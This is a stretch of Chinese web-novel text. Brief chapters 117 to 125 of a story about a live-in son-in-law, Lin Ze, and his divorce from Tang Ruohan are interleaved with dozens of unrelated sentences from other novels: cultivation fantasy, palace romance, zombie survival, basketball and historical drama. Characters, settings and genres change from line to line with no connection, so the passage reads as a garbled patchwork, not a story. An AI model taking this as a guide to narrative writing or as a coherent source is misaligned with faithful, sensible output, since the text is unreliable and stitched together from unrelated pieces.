“打算?”张军一怔,“耗着呗,该说的都说了,跟也局长谈崩了,爱怎么着就怎么着吧!” 磕了一下烟灰,张军又活动了活动脖颈。 “星期一调查组正式上班,接受审查,其他的,就当放个长假,大不了哥们就转行。” 话虽然说得轻松,但张军心里已经做了最坏的打算。 林企正这里眼看没有大碍,她也就放下心来,收拾了一下自己的东西,和林企正告别,又叮嘱了护工一番,这才下楼预备回家。 成东林越发的发现自己有做官的天分了,打老虎这样的话都说得出来,这话说出来还真是有模有样的。 这使得它的血脉,他的毛皮,甚至是它的肉质之中,都充满了可怕的剧毒。这种毒素!从沼泽帝王龙的毒牙之中,释放出来的毒素,反而是比不上它的肉质中含有的毒素。 他不禁想到了十年前那位太元宗惊世绝艳的人物,当年青妍大哥也是这样,为了东域宗众位师兄弟不顾自己的生死,只是为了让更多的东域宗真传弟子能够活下来。 虽然有戒指护体,但是现在面对的是两只来自万年祖窑的巨大妖兽,盲鼠虽然因为秃鹫的到来收敛了气息,但是还是虎视眈眈的盯着我,我被这两只妖兽盯得浑身不自在。实力的巨大差距不论我有什么宝贝都是无济于事的。 叶贤一直在叶府‘门’外焦急等候派出的家丁的消息,却远远看到叶锦素走来,以为是在做梦,连忙眨了数眼,待确认是真,便连忙迎了上来。 “胡高!”听到那声音,扶苏的眉头轻轻地一挑,开口轻声地呢喃了一句。 祭魂术,是旗主使用祭魂旗御敌之术,战时集万魂之力,但也得看用旗之人的修为,此术只能帮助旗主战胜高一阶的敌人,就如林奕,使用祭魂之术时,可与筑基修士有一战之力,但不能长久。若是徐真使用此术,可战结丹。 “或许鲜公主此时心里已经后悔了吧,只是她身为公主,身份尊贵,即使悔恨不已,也拉不下那个脸,咱们就得饶人处且饶人,就这样算了吧。”不等东方煜说话,夏贝贝又继续说道。 红莲珠的力量发挥到了极致,溟焰前辈大部分的灵力被红莲珠无声无息的吸收,所以对我没有造成任何伤害。 伍樊见两人远去,回到房中,命令风月宝鉴调出阵法理论知识,学习阵法。现在被人设下了阵法陷阱,伍樊是主动学习,而风月宝鉴具有的阵法理论和知识,何其高妙。 “呵呵,也谈不上信心吧,只是一种感觉,他答应的事情一定会做到。”白肖薇抚摸着自己的双手,那天夜里的束缚之感仿佛仍在,那天他说的话仿佛依旧在耳边。 “杨明,不要跟这种为老不尊的人生气了。听说昨天开会,新院长设立了很多新规,你还是去院长那里看看吧!”许梅梅上前安慰杨明两句。 门外是一楼的楼梯间,陈婷没有看到丧尸的身影,悬着的心终于放了下来。 以后杨明去给哪一位高权重之人治疗一下疾病,以后都会成为一个同样位高权重之人,所以现在和杨明打好关系,以后还是很有好处的。 袁秋华说:孩子都生出来了,还说没有爱情,可笑!婚姻在没有孩子时,是爱情,有了孩子,就是责任。不负责任的人,没安好心,不配谈爱情。 第一卷 第117章 以房换房,如何? 林泽到来时,房间里已是茶香四溢。 普洱茶沉稳持久的香气,别具内涵。 包间北墙上,簪花小楷娟秀柔美。 一首“上浮是倔强,下沉即从容,一叶起落间,皆是修行”道尽人生。 “林泽,快过来坐!” 一改往日的严厉,唐英豪和蔼地对林泽招手。 林泽声音客气。 虽然奥术帝国曾经战败给诸神,但是史蒂芬对于这些特殊的强大存在并没有任何的偏见。 江寒摇摇头,理念不同,多说一句都是废话,为家族作出贡献,让家族蒸蒸日上的人,才应该是骄傲的。 墨纪叹了口气:“不是没人,只是有点少而已!”他说着从夜凰手上把她挑的东西拿到了他的手里,这边在大步向前,夜凰只得跟在后面,无语的翻白眼。 任剑说妈,你先别急好不好?我跟你说过,这事三两句话根本说不清楚。等见了面,我再仔细给你和爸讲,好吗? 谢夜雨听到了,愕然的转头看了看佛奥尔,竟然能把机甲的情况记得这么清楚? 在鲜红色的空间传送光柱之下,连夜再一次在时间节点之上进行了跳跃。 此地也没有白昼黄昏,江寒不知道自己走了多久,终于来到了山下,他看到了一条石阶,蜿蜒直上,没有多想,江寒顺着石阶开始登山。 苏菡接了电话,听声音刘总有些不高兴。刘总说苏菡,你怎么不接我电话? 也罢,既然如此,就干脆把它留在身边吧,就算没什么战斗力,当个吉祥物也挺好的。 他走后高明和苏菡商量了一下,既然魏桥放下身段夜访,确实也让他俩有些感动,最后只好给魏总一个面子,决定看看情况再说。 甜酸苦辣,她各种味道的菜式都准备了,这总得能讨得了大魔头的欢心吧? 而作为仙庭之人,他们具有至高无上的尊威,和睥睨苍穹的姿势,因为他们是神州大地第一势力,是掌控神州命脉的强大存在。 僵持中的猫咪慢悠悠望过来,明明是没什么表情的眸子总给人一种带着欣喜的错觉。 这就不奇怪了,是巴尔加斯他们的人,他们当然是阻挡不住这些高手的,可能有了被打倒,冲了出去。 再看地上,横七竖八的躺了一地的国防军,有的已经醒过来,却爬不起来,只能躺在地上,痛苦的哼唧着。 面临着又被软禁,她只能沉沉的叹口气。思考半天,杨思琳决定给歌柒发条短信。 “九月份,京大操场,过肩摔。”技术人员很是疑惑,这是什么暗号? 撇下身后的一众城卫,沈舒姝独自上前,没走多远,就见到了坐在凉亭的身影。 身前的秦远山面色一变再变,直到楚万钧走到他的跟前,他的面色终于化作了一片铁青。 随着卷轴的展开,以夏静为中心,居然张开了一个如同薄膜的正方体保护罩。 上不能上,下不能下,这可苦了子墨,子墨一会抬头看高空,一会低头看脚下,在想到时间的关键时,这才终下决心,唯有慢慢下行才是唯一。 他的右手朝着虚空微微一握,而后一柄赤红色的盾牌便是出现在手中,盾牌随后便是被他高高举起。 这个家伙果然是运用了空间异能的闪现效果,只不过跟之前与自己交手的时候不一样,这次似乎有了一些新的花招。 第一卷 第118章 都要离婚了,留点东西怎么了? “林泽,怎么样?” 周美珊沉不住气,小心翼翼地询问,语气当中却充满催促。 “唐夫人,还是那句话,我感谢你们的好意,但这件事情还是算了。” 混沌期:世界最开始的时期,宇宙一片混沌。混沌之上有一座神殿,名为邪神殿。邪神们在各个混沌的宇宙中创造世界,然而我们的宇宙中很久很久之中仍然是一片混沌。 姜白战胜了卫无命,让姜白吐露出三叔祖的信息。姜玉郎听到姜白的话就是眉心一皱,不过却并未吱声,毕竟卫无命等人立马就被他们所杀,他们根本不在乎卫无命知道姜石一的信息。 手废了的还好一些,至少不会影响逃命,至于那些腿脚废了的那可就糟了,只能趴在地上一路爬回去了,见到这一幕北堂宠儿更是忍不住叉腰大笑起来。 北堂豪杰和北堂俊雄后来也找寒飞飞理论过,可是寒飞飞却有一番足够充分的说辞。 他秦越治病,最厉害的自然是依靠灵枢真经了,但是那也只是帮助医疗效果瞬间达到极致,这并不代表,没了灵枢真气,他就不会治病了。 “媚妃受宠,你似乎没有什么不高兴的?”御风有些好奇,从那日慕梨潇的表现来看,她的确是喜欢皇甫晟的,没想到她竟然没有什么醋意。 即便那不算是太爷爷传给他的,可起码也一定是太爷爷从祖辈那里得到的线索,最终太爷爷没有得到灵枢真经第三重境界的修为,这才让他秦越去完成。 这实在是无奈,她在星空界门中虽然有积分斩获,但并不多,而其它宫门因为她的身份特殊,不愿和她有交集,算上星魂沙也只有这么多。 就在北堂夜泫和寒月乔在天界之中日渐亲密的时候,北堂宠儿在凡间却遇到了一些麻烦。 而秦越这一点还是看得很清楚的,这也是他一定要到一线深深历练的原因。同样的,这样是岑清泉老爷子,也毫不犹豫给他秦越开了推荐信的原因。 倒不是说不可能出现这么多年轻的天才,但不论是琢营学生或是沈家子弟都不可能会来赚这个钱。 最窝囊的是,自己不得不用斗气死死压制住恐怖的毒素,不让它散落到全身,所以现在,自己也无法为儿子报仇。 可在地道这种环境下实在缺乏前后沟通,所以未必能使后方立刻知道前方发生了什么事。前后两处移动方向不同的人流就被挤向了一处,竟是变得一时动弹不得。 还未及将其甩开,之前被砸翻的两人又已经爬了起来,并挨个地扑上前来。他们这次终于马四娘扑倒在地,并用自己的体重竭力地去压制其四肢。 MC信鸥一段热火的开场后,开始介绍今天的参赛者,常驻嘉宾与上次有了些许不同。 眼见哥达靠近路扬,贝拉心急如焚,死死盯着迈尔斯,柳眉咤立。 博主早就预料到大家不能这么容易相信,说实话,即便在现场,他自己不是也半信半疑了那么久吗? 沈凌脸上可以看出微微抽搐,但最后还是一脸无奈地让开了位子。 鼎身也布满各种铭纹,不过与镇元子的圣王鼎相比,就显得有些不堪入眼了。 第一卷 第119章 我准备好了,可以走了吗? 我不回答,来者不善,善者不来,她能这般胸有成竹站在我面前,准备工作自然是做得妥妥当当了,看来今天免不了一场生死决战。 “可是,它早被壬道长逐出师门了!”车无非皱着眉头,像极了王妃西施的愁容,我见犹怜。 猛然看到了眼神暗淡的二狗子,刚才还滔滔不绝的说个没完,现在只是喝着闷酒。 背井离乡的人儿,最怕的就是想念起家里的亲人。那种抓心挠肝的思念,是朝夕相处的人永远也无法理解的一种痛。如果现在能让刘星皓回到老家,见一见父母的话,就是让他加刑十年,只怕他也肯答应下来。 这里的包厢基本都是单人的,只有几个双人包厢,找了老半天,吴安才带着李沐坐进了一处包厢中。 阳云汉心中恍然,此人果然是易容而成沈周模样。只是此人扮沈周扮得惟妙惟肖,虽然在这地牢之中,光线昏暗,可是阳云汉目光税利,此人易容后竟能瞒过他的目光,这份易容本领令阳云汉心中暗自震惊。 玄鹤长老一阵猛攻之下,旧力逐渐枯竭,不过他运气调息,身形变幻,由四返一,旧力未竭之时新力再生。玄鹤长老已然将“两仪四象神功”修炼到了大圆满境界,再无半分破绽。 阳云汉武功卓绝,自然察觉到上官碧霄身体在马背上晃动一下,正待开口询问,却见上官碧霄又若无其事坐稳在马背上,也就没再出言追问。 这次二人兵器上带起的劲气在空中互相冲撞破开,二人手中的紫熠黑龙鞭和单刀竟在转瞬之间抵在一起。 在城里,大道上的行人很少,有也是靠边走的那种,中间的路估计是用来行各种车的,那些藏在巷子中的店铺才是大家最常逛的地方,所以那里边格外热闹。 司徒化龙继续含笑一指离元禅师,“这位灵觉寺主持离元禅师,两位都已认识”。 三头暴食者与两名血王国骑士,已经是吸血鬼王国今夜能够拿出手的最强阵容了,连他们都对付不了罗宁,那剩下的那些吸血鬼收割者又有什么作用? 但大家的目光却并没有在传送门上,而是望向四周,神情有些压抑。 袁宝儿秀眉蹙起,情不自禁的握紧了九宫神剑,忧心忡忡的看了一眼潘阳。 她心里觉得难堪,脸上也挂不住,像似自己巴结的事情明明白白地落在她的眼里,怎么瞧怎么像个笑话。 “我知道,你很痛苦,伯父何尝不是如此,即使你爹再怎么不对,他也是你爹,他也是我兄弟。 潘阳之前的犹豫和收到微信之后的态度转变,唐玉都看在眼里的。尤其是潘阳回微信时情不自禁勾起的嘴角,唐玉就猜测是袁宝儿发来的微信。 现在的苏韵欣犹如生吞了十斤热乎的翔一般,吞不下去又吐不出来,别提多难受了。 季子璃刚用银针射倒左边的人,就感到背后一股大力直扫她而来,险险躲过这致命的一掌,左亦然左挥竟然伸手想要掐她的脖子。 “哎!莲花,你给我算出来没哈?一直加加的,你打算给我加多少哈?”谭宝强听见计算机一直在叫,心里有点着急了,生怕莲花给他算多了,于是连忙提醒老板娘。 秦思苓一直到含笑和霍德两人酒过之后告辞时才出来相送,只是还是一直不敢正眼看含笑。 那些游魂被他撞得支离破碎,化成一片烟雾消散,而他也失去了所有的意识,被黑雾缠绕着在黑暗中四处飘荡。 鼓足了勇气,若离轻轻推开房门,墙上的夜明珠熠熠生辉,殿内简约素净,一看就是男子的房间,床榻上的云被整齐叠放,却不见泽言人影。 如此持续了一个月后,大家再看到张磊时,感觉张磊从原来有点张扬变得很沉默,不但如此,大家还感觉到张磊像一把随时出鞘隐藏着锋利的匕首。 王峰的一句话噎的袁护士说不上话来,顿时感觉自己像是热脸贴上了一个冷屁股一样,所以不再说话了,低下头开始工作。 那夜她的葵水染红了他的被褥,他就在椅子上将就着,半夜到了她的屋子,看着她肿胀的眼皮微红的眼角,他的心底顿时生出了要护她一生的念想。 夏震被潘壬迎接回营帐后,理仁带人也来到了张磊监视贼军动向的一座山上。来到此处理仁含着眼泪看了看远处隐隐能看见的杨家庄,等他回过神后张磊才回到此处。 这是狼宏翔一直没有使用的苍狼之啸,苍狼之啸很是强大,但缺点就是每一次使用都会将他的妖元抽干,导致他平时根本不敢使用,不然失去妖元的他,将会成为别人板上的鱼肉。 可惜事与愿违,从这几天的报告来看,瘟疫造成的死亡人数已经趋于稳定,最近一天还略有下降,虽然幅度不大,却是一个非常危险的征兆。 他背着手,慢慢地踱着步子往家走,心里盘算着,明天得换一个茶馆了。这附近的茶馆他都熟悉的不能再熟悉了,看来得去远一点儿的茶馆了。 一元复始万物演化,终归是一脉相承,稍稍感叹了一下,朱东便驾驶着飞船向附近的一个星域飞去。 第一卷 第120章 这婚肯定离,谁不离谁是狗! 吴庸咬牙切齿,眸子里闪过一抹狠毒。 唐若涵不让他过去,究竟是担心影响不好,还是在顾及林泽的感受? 没想到。 两个人都要离婚了,唐若涵竟然还那么在意那个赘婿! 微电影的事情,唐若涵说了不少感谢的话。 可在电话里,她一句也没有提到后续他们的感情发展。 难道,唐若涵仅仅是为了离婚才离婚? 那位教区长在语气温和的回了一句:“机械不灭,秩序永存。”之后,便切断了通信。 苏婉秋失望的撇了撇嘴,靠着他睡下,她还有什么好选。反正终极目的是钻他被窝,他爱讲啥讲啥吧。 此地乃狼、犬、狐族聚集之地。之所以称为神嚎岭,是因为三族王者,用发自肚腹的巨大嗓门,也可以说是妖力化为的嚎叫声划分领地。谁的妖力强、嗓门大嚎叫声传的远,所能听到的地域就为其族类领地。 “你这都看的什么故事,太色情了,不利于睡觉。”说着就将那纸,团着撇了。 二人听了只好带呢了点头。林默并没让船在渡口停靠,而是在离那观音庵还有一定距离的地方找了个隐蔽的地方停靠了下来,随后众人上了岸,并将那些东西一起搬上了岸。 但即便是如此,她还是觉得不够,若是她晚一步,就有可能惨死一个学弟。 己能插手的了,这万全现在是难以脱身了,所有尽量不帮着张元和万全说话了,免得引火上身。 “这波猎鹰有点赌的,如果一个处理不好,就是崩盘。”米勒和娃娃眼神都专注起来,苏沐琳也是。 毕竟若是给他一个同为十大天地武魂之一的超级武魂,不用想他也是复制不出来的。 黎崇本想请二人去吃一顿的,可李桦拒绝了。但黎崇仍然坚持送二人下楼。 方昊天的伤真的不轻。他有超强的恢复能力再加上有灵丹辅助仍然花去了近十个时辰才完全恢复。 兰千月美目掠过一道寒光,娇喝一声,全身灵力猛的汇聚于手中斩炎神剑之上,而后猛地一剑朝着前方劈去。 叶宁一直不知万法为何要在孱弱之际离开,难道真有什么迫不及待需要解决的事情吗?等到日后,真相大白时,他才知道万法的去向。彼时,他对万法的态度复杂到了极点,一言难以尽之。 现在,就连杜家曾经的合作伙伴都跑过来调转矛头开始对付自己。 “如今看来,我的极念道想要圆满,还是要回天兵皇朝的遗址。”徐鸿沉吟了一下,轻声自语道。 “到时候我不会客气的,你家那几瓶好酒我可是一直惦记着。”郎刑天笑着说道。 现在,徐鸿麾下的妖族中,已经八位尊者级高手了,其中青牛妖尊还是中级妖尊。 叶宁既要防备着八种诡异毒素的侵蚀,又要攻破锦缎的防御,非常棘手。 “你这丫头,让我丢下生意跑过来做什么?”而且最可恨的是被一条龙给抓过来的,这实在太丢面子了。 “没了。”轩辕擎宇很认真地点头,他也非常郁闷,他一直等着见到那位尊者的出现,结果却是一场空,连个鬼影都没有见到。 怪眼老头果然不肯让打神棍砸在身上,他一拽伫立在地上的长幡,只听叮叮当当的一阵轻响,那条长蛇一样的幡儿已经兜头坠落,直接朝我卷过来。 周志少校带着七八个边防军战士正在跟残余的七八个鬼商人对峙。这些鬼商人都是国外的投机分子,昨天晚上没来得及逃走,被周志少校堵了个正着。 第一卷 第121章 小林先生,是在叫……他? “都这个时候了,还想着欲擒故纵,林泽,你挺会玩儿的!” 声音清晰,语气当中尽是嘲讽。 唐若涵和林泽同时转头顺着声音望去。 吴庸一脸恼火,正快步朝他们走过来。 林泽眉头微皱,不过当中闪过一丝不屑。 不远处随意站着的戴着银色面具的男子,不用想也能猜到是北璃国的四王爷慕如初了。 不过马上她脚下一实人立刻就被拖了起来,低头一看,原来是萧让操控着真龙之剑将自己接住了。 又端來一些清淡的餐点给他喂下,那关切的眼神中分明充满了某种情愫。钟晴将一切看在眼里,挂上一丝不易察觉的浅笑,便退了出去。 铁兵一口气说完,李宁宇还没有发话,一旁正在绘图的曾凡勇已经暴跳起来吼道:“靠,这么狂!”。 就连一旁看热闹的秋锦也是一阵诧异,宫中传闻他们之间感情好的不得了,照她看也未必嘛。 眼见钟晴眼中笼着一层着雾气,逐月公子脸上那邪恶的笑容瞬间僵住,只觉得心中隐隐作痛。那双淡蓝色的眼眸分明泛着点点忧伤,怎么会这样?向来没有感情的他竟然不忍心看她受伤的水眸。 百里怒云被真旗扔到地上,她躺在那儿换了口气轻哼一声说道:“因为我觉得,老天爷如果让我死,我四年前就该死了!”她话音刚落,就听三位师弟所坐的位置后面石壁传来一阵声响。 虽然在特种装甲车的开路下,没有在遇到地雷与伏击,可是天公不作美,下一个自然灾害出现了。 他这些年的确去过了不少地方,以后还要带着她走遍更多的地方,全部都要留下他们的足迹。 听到这话萧让和淫贼的脸色都变得凝重了起来,看来自己还是低估了散修联盟的残酷,不过萧让却是不会退缩的,黑脸修狂能在这里面混得风生水起,自己为什么不能? 一时之间,她的胸腔里,涌动着各种复杂的让她难以自控的情绪。 正想拦住他,让他别再激怒慕容瑄,哪里知道慕容瑄早已气得不可收拾了,狠狠的瞪了慕容衡一眼,下一秒,他扬起拳头,朝着慕容衡的脸就砸了上去。 新赛季开始已经有四天的时间了,湖人也进行了两场比赛,战绩是一胜一负,赢了弱队输的强队,发挥倒也算正常,明天湖人将继续坐镇主场迎战亚特兰大老鹰,进行第三场的比赛。 这消息不该通过他的口转述,到底轩辕墨是个隐忍睿智之人,若是相信了鬼神之说才是真正的可疑。但交由管家传递,管家本就是耶律楚的眼线,这个消息经过这样的途径,半分真假就成了九分真,一份假。 孙卓顿时觉得非常兴奋,虽然当球队老大一直是他的目标,但直到今天,他才真正有一点这种感受。 夏沫一直在想着李记的事,没有注意到慕容衡的表情,那人的眼底里早已流露出几分嫉妒来。 商煦风抬头看了一下墙上的时钟,门铃刚好就在这个时候响了起来。 历苍穹站了起来,对着暮天寒使了一个眼神,便打开了牢门,步履稳健的走了出去。 三师姐白清欢与四师兄熊雄,还有十一师妹剑痴抱着赤红色的长剑飞身而上,等他们目光落到有着熟悉的气息,一身黑衣,俊美完美的不似凡人的男人身上的时候,都忍不住纷纷惊呼。 第一卷 第122章 就算离一百次,也轮不到你! 看着保镖一步步朝着自己靠近,韩素素吓得不轻,一步步的后退。 胡雪十分惊奇的发现,他的血似乎比寻常人的要暗上好几分,也不知道这是不是她的错觉。 戒指的尺寸,竟然和她手指的尺寸一模一样,好像是专门为她定制一样。 “这个伤口会留疤吗?”到了街上的医馆,让大夫处理好伤口,沈君问出自己最关心的问题。 说到这里,萧婉顿了顿,再次把目光放到卫寒川的身上,收到的,却是更加温情的一片。 用神乐师技能【星斗阑干】,呵呵,她现在这点灵力,估计连一刻钟都支撑不到。 这是一件极具设计风格的会议室,到处都是以几何图形为主的装饰品,非常有艺术色彩。 唯一不好的就是相貌太平凡,但是这身上的气质是真的没得挑,有时候都能让别人下意识的忽略掉他普通的长相。 沈越陵当然不知道那是季晚搞得手脚,她当然知道沈越陵不会乖乖的睡了,干脆按了他的穴道,强行让他休息。 再加上秋妈悉心的照顾,萧婉自认过得简直就是神仙一般的日子。 冰洋运输公司的所有高层都被他控制住了,都是他的奴仆!甄悦就算手段再高明,也休想从这些人嘴里问出什么来。 “秦师妹,你回来了?”看到秦瑶,古风脸上带着温和笑容。他知道秦瑶此次是回家省亲,之后会留在剑宗修炼。 因此,江翌还需要挑选两个在中医诊断和中药药性方面有天赋的学生。 木老前辈将手中碗轻放,那一双饱经世事沧桑的眼睛带着笑意忽然望向洛长风。 “啪!”绿衣少年单手一探,稳稳将对方抛过来的酒坛子接在掌心之中。 周程点点头,“等孩子进了幼儿园,我想找份舞蹈老师的工作,”觉得自己除了跳舞也真没有什么会了。 徐阳身后一对黑色火翼微微卷动,身形悬停在半空中,胸口上下起伏,喘着粗气,右胸上的护胸黑鳞甲凹陷出一个清晰的拳形。但片刻后,就在黑鳞战甲自身强大的修复能力下,抹平了凹陷,晶亮如初。 “居然没人?”熊大没有看到仁义会的人,他推门进去,还是没有看到其他人。 “他希望城主放过欧洲,作为回报,他愿意为城主效力”百晓生道。 他立马想到是张豹出卖了自己,整件事只有他和张豹知道,连于化龙都不知道,除了张豹告密,他实在想不出别的理由来。 狼宏翔除了实力不行之外,一路上也是帮助他们良多,也是他指明了虎刑实力受损,要不然他们又岂敢轻易动手? 就在刚才,有个服务生过来知会了一声,说是辛淼的朋友龚总过来了,所以海棠将大厅里的监控画面转了过来。 我正在雄心勃勃的谋划。忽然有一样东西,猛地向我飞过来了。我连忙躲闪,可是又有一样东西,朝我飞了过来。这一下我没有躲开,被砸在了耳朵上面,顿时感觉脑袋嗡的一声,紧接着,腮边传来一阵剧痛。 知音想好了,等上满搓沙,粉刷白涂料后,还得装上几个像样儿的灯饰,就像电视里播放城市里人那样儿的。 诺日布沉默半天这才一抚胸答道:“伟大的大汗,我诺日布将献上朝鲜的土地,来报道我敬爱的大汗。”说完他退了出去。 当下药帝发出指令,让药族弟子操控星船,到“帝皇星”附近等候,而他和叶洛等人,则搭乘火族星船先行一步。 四周众人,听到“烈阳境”三个字,纷纷向常志轩看去,目光中满是惊羡和敬畏。 谢曲此刻懒得管众人怎么想,心中只叹,踏破铁鞋无觅处,得来全不费工夫。王哥嘱托算有交代,受恩不报不是我们兄弟行为。。 这件事让狼宏翔心中很是不解,所有妖兽凝丹都是在脑海之中凝结一枚妖丹,一旦需要的时候,就可以源源不断的为他们提供妖元。 白头翁无论是好是坏,生前被这么折磨了这么久,死后又学了一身邪术,现在早就变成了一个大变态。周雨被她带回去,恐怕得生活在地狱中。 “这是他的位置,你们去找他吧。”夜葬探寻那人的气息后,告诉了玄冥他们,让他们乘胜追击。 那倒霉的浮沉门主也被放了出来,凤涅阳亲自敬酒赔罪,伸手不打笑脸人,再大的冤屈也只能默默地往肚子里咽。 秉烛把伏羲琴看得比命还重,收在脖子上的铃铛中,片刻不离身,生怕弄丢了,怎么会忘记带了呢? 他没动,方耳、庄云海也没动,因为郭宇才是进塔的最大功臣,没有郭宇,他们没有机会进来。 “寒霜花霖、二阶木魔核。”夜葬将这两枚药材放到桌子上,用自己的查克拉将木魔核与寒霜花霖包裹着,放到了药鼎之中。 宫千竹看着不忍,想过去将年岁大了的老伯扶起来,却被长乐一把拉住动弹不得。 刘邦一脸愤然的看着楚默,接着抓起盘中的狗肉咬了一口又放会盘中,接着咬向手里另一块狗肉。 询问的警察得知方天的真实身份后,也是一阵头痛。朝着方天挥舞着手背,很不耐烦地说道。 “且其中十衍级别的数阵占了七成,百衍级别有一成半,剩下的半成是千衍数阵。”郭宇只是用了短短一分钟,就分析出这个数阵支点的总体情况。 淡蓝色的衣袍带起海的波浪,仿佛全世界都安静了,她看着那人走进酒楼,带着所有的海色微光闯入她的世界。 第一卷 第123章 为什么哪里都有她? “南希!” 唐若涵声音发寒,盯着南希,从喉咙里挤出两个字。 南希轻笑,即刻挽住沈泰安的胳膊。 “爷爷,这位唐姐姐您记得吧,不久前我们刚见过面的。” 南希的话说得轻飘飘的,唐若涵一腔的怒火根本无处发泄。 沈泰安做出恍然大悟的模样。 其实,他睁着眼睛或者闭着眼睛,效果都是一样的,因为周围是黑乎乎的一片,就像坠入了暗无天日的深渊一样。 五月是打麋鹿最好的季节,惜尘决定带领后宫妃嫔和朝中大臣一起前往皇家猎场——南苑去狩猎。 她的脸上明明是清冷一片,却莫名的让自己成了最诱人的风景线。 又或许,在他接受赐婚的那一刻起,他和她之间就注定隔开了距离。 虽然王明是对着望天说的,但是眼神却不自觉的看向了王战,连同家族议事大厅里的所有人,都看向王战。 阿威伸出手指来比划,显然的身旁的季伟阳有些不高兴自己被人忽视。一伸手,示意阿威也为自己调上一杯来,尽管方才已经被当做白老鼠试验过了。 “为什么不动手?”萧采芙瞪着面色不动的楚卿,眼中写着挫败。 “这么说,你并没有忘记我们的承诺?”太平公主眼睛一亮,激动地问道。 温暖笑着走进柜台将手里的包放进了柜台里面的抽屉,接着拿出了围裙走进了烘焙房。 不想再试探太多,不能贪心太多,其实和不和他在一起有什么要紧?毕竟她已经知道心底最真的话,胡喜喜,要学会知足,她这样对自己说。 对于楼栋的要求,钟南的分析是朝廷肯定会同意。其实政商一体,在古代是太正常不过的情况,楼栋只是把这一切明朗化而已。 “那当然的,那还用怀疑吗?”叶守礼一直不太明白她为何一直在问这些根本不是问题的问题。 “呵呵,木哥你还是这样自恋,单身狗就单身狗嘛!非要往自己脸上贴金。”三并夏白了折木一眼。 “贫道只不过就事论事,纠正了他的错误观念而已,谁知道他居然神奇地掉进死亡美学里。”明夜颇为无语地回道。 阿萨谢尔脸上带着危险的笑容,被他盯上的众人都有种被贴上标签的实验体的感觉,情不自禁感到一阵恶寒。 三大平台的后台承受不住涌入人数,后台直接崩溃,看不到任何数据。 “私底下的事情我懒得管,但现在是在执行任务,希望你好自为之!”灵鹤脸色有些难看,沉着声说道。 其实在今天知道自己的好兄弟墨南霆已经是和顾惜然去领证了之后,他便已经是有这个想法了,想着也带着盛若思去民政局领证,让她成为自己的妻子。 “我错了,开个玩笑,别介意!”维多利亚秒怂,若非脑袋被按得死死,或许她会考虑朝着青莲行个跪拜大礼。 从赵益的公寓里出来时,已经是晚上了,风光死死的抓着云霁的手,走在空旷的楼道里,不敢回头,电梯突然出了故障,他们也只能走楼梯,但她并不相信,电梯只是出了故障这么简单。 这也是医院的无奈之举,不然绝对会有不法分子利用这个漏洞进行牟利的。 “有个家伙一直在跟着你们两个,我来帮你们料理了这家伙。”白狼一抬手,一道金色的雷光就想着斜上方劈去,直接轰碎了他面前的房顶。 第一卷 第124章 调查你,你不能抵触? “敢啊,怎么不敢?” 林泽当即反问,声音提高的同时,眼神当中也难掩兴奋之色。 只是。 再次看向沈泰安时,林泽还是有些担忧。 面前这人身份斐然,真要去地摊捡漏,万一被人发现,那…… 至于陈锋,则由诺曼亲自背着,而阿狸则蜷缩着身子趴在陈锋的脑袋上,九条雪白的尾巴随意的摆动着,整个画面看起来倒有些和谐之意。 “哼,正是叶某,你身为修真门弟子却位居妖帅之职不说,更是勾结外教,袒护妖类,事到如今,你还想有何言要狡辩?”叶若邦当机指责道。 算上软装的首付款,自己的账号里从来没有躺着这么多钱过,完全感受不到脚下地面的存在,浑身轻飘飘,就好像踩在云朵里一样,腾云驾雾般下了楼。 然而守卫森严的梅机关今晚似乎犹如一块美味的蛋糕,吸引着一个老练的猎人偷盗者,李三正在梅机关后围墙,双眸炯炯有神的看向那黑夜下的美味蛋糕。 “死,一掌就死,你也太看得起我了!”悍匪张瀚虽然是受伤不轻,但是先前一掌之下不死,已经是信心剧增。 “塔拉特皇子吗?他的天赋确实不错!”陈锋点点头,并没有拒绝。 白萍今天来废了这么一大摞话,不就是想知道这事是不是老徐做的吗?除了自己没人会告诉他确定的话。 林宇将她放在床上,他拿来一盒银针,将银针扎在她的脸上的伤口四周,几点精光从银针中流入,将那股能量团团围住。 等众人赶到情人旅馆推开房门的时候,只看见杜鹃躺在床上,衣衫完整还盖着被子,没看见其它人的踪迹。 韩冰没说话,端起茶杯轻轻的嗅了一口,似乎有几分陶醉,神情平静。 等光屏消失,在王易眼里,那开阔的天门洞立刻变成了五彩缤纷之色,好似被什么染成,别有一种仙气。 作为西域副监军,有必要刷刷存在感,要不然那些部落势力不买自己的帐就不好了。 随后他双手一抖,无数毒针爆射而出,几乎覆盖了整个空间,避无可避。 这时候马球场出现一阵骚动,郑鹏抬头一看,比赛的两队开始骑马进场热身。 新出现的这个巨人,刚一离开树林就看到了倒在地上的尸体,整个大陆上的巨人其实就是那么多,虽然这具尸体上满是鲜血,但是他马上就分辨出了这个巨人的身份。 “别往人家的伤口上撒盐了,不是有一句俗话说的好,这感觉简直就好像日了狗。”白沉再补了一刀,对林大雄造成了真实伤害。 两只呈菱形的猩红眼睛透着疯狂的凶意,它的整个体型比之前整整扩大了三倍有余,较之之前的棕褐色的针毛,此时它的全身都披覆着雪白若松针的刚毛,再加上浑身上下此起彼伏的肌肉疙瘩。 得宠就是不同,换作别的太监,肯定大气也不敢喘一下,高力士却替李隆基招待起郑鹏,从而看出他有多受宠。 “蠢牛,想不到你自己送上门来了。”巴步腾看到巴尔冲过来,心中不惊反喜。 “你、你们是8号搜救部队?!”那些幸存者挤了挤,然后挤出了一个十七八岁的年轻人,是一个风系异能者,这其中有三四个都是异能者。 第一卷 第125章 周局长的反常。 “唐总。” “去哪儿?” 林泽跟唐若涵同时开口,又在同一时间愣住。 两人仅隔一步之遥。 此时。 却都尴尬得不知道接下来该说什么才好。 缓过神来后,林泽主动向后退了一步。 唐若涵刚走进门,便看到林泽手里提着背包。 瞬间。 眉尖微蹙。 白苍一听应劭说起八大氏族好奇心大起连忙问道“八大家族?我以前只是听说过一二,还不曾真正了解,今天正好应先生给我好好讲讲”。 那个永远只会睡懒觉的家伙,嘴皮子伶俐起来,竟会这么顺溜,光凭胡说八道就把一堆高手气得几欲吐血。 蜀山派长老查看一番之后,也是没有什么头绪,就请玄天剑派的长老,重新给这些蜀山弟子安排居住房舍。 众人这才终于各自登上马匹毛驴儿。此时,那马啼声驴鸣声交杂片,扬起灰尘漫天,向远处古道之上疾驰而去。 酒店的一个房间里,鬼鲨的人洗漱的洗漱,锻炼身体的锻炼身体,丝毫没有察觉到危险正在逼近。 “昊叔叔先别急,昊雪已经发行了关键的问题。”沈毅对着昊翰挥了挥手说道。昊翰听见沈毅的话,纳闷的看向了昊雪,这时不止是昊翰,林磐、天寻、林薇等人也是将目光投到了昊雪身上。 